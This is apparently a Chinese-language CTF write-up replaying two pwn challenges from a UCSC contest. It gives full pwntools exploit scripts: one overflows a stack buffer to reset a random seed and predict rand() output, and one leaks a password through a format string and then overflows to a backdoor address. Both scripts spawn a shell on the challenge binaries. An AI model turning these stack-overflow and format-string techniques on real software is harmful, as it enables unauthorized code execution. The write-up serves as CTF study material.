比赛时间 :2025/04/20
比赛前一天把系统搞炸了,今天调了一天的系统和环境,离比赛结束还有10分钟才开始做题,就赛后复现一下吧
第一题:BoFido-ucsc
#随机数 #栈溢出

用到了伪随机数,生成了10组数字,连续输入10组数字正确即可得到shell
因为前面输入姓名的地方是存在溢出的,随机数种子也是存在栈上的,所以可以通过溢出来修改种子。先将种子设置为0,然后利用libc生成10组的随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import *
from ctypes import CDLL
context(arch='amd64', os='linux', log_level='debug')
libc = CDLL('libc.so.6')
libc.srand(0)
predictions = []
for _ in range(10):
nums = (libc.rand()%255, libc.rand()%255, libc.rand()%255)
predictions.append(nums)
payload = b'A'*20
payload += b'B'*12
payload += p32(0)
payload += b'\x01'
p = process('./BoFido')
p.recvuntil(b'Enter your name:\n')
p.send(payload)
for round in range(10):
p.recvuntil(f'[+] Round {round+1}, please choose your numbers:\n'.encode())
a, b, c = predictions[round]
p.sendline(f'{a} {b} {c}'.encode())
p.recvuntil(b'You\'re so lucky! Here is your gift!\n')
p.interactive()
|
第二题 userlogin-ucsc

发现login的user里面存在一个格式化字符串漏洞,而且程序还给了一个后门程序,可以通过格式化字符串修改返回地址到shell,试了几次发现因为输入的字节还是少了点,转变思路通过获得密码然后进入root里面溢出到返回地址

`
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
file_name = "./pwn"
elf = ELF(file_name)
select = 1
if select == 1:
io = process(file_name)
else:
io = remote()
sd = lambda s : io.send(s)
sl = lambda s : io.sendline(s)
sa = lambda n,s : io.sendafter(n,s)
sla = lambda n,s : io.sendlineafter(n,s)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
ru = lambda s : io.recvuntil(s)
ra = lambda : io.recvall()
it = lambda : io.interactive()
ru(b'Password:')
sl(b'supersecureuser')
payload = b'%13$s'
sla(b'Write Something\n',payload)
passwd = rc(16)
success("passwd : " + str(passwd))
ru(b'Password:')
sl(passwd)
shell = 0x401261
ret = 0x401016
payload2 = b'a'*0x20 + p64(0xdeadbeef) + p64(ret) + p64(shell)
sla(b'Note: \n',payload2)
it()
|